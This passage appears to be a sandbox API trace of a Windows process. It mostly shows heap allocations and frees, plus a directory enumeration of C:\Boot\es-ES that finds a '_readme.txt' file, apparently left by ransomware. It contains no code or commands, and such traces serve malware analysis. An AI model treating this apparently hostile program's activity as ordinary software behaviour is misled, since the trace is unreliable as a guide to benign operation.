lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.166] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.166] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.166] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.166] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.166] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13af1b30, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.166] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13af1b30, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.166] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.167] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 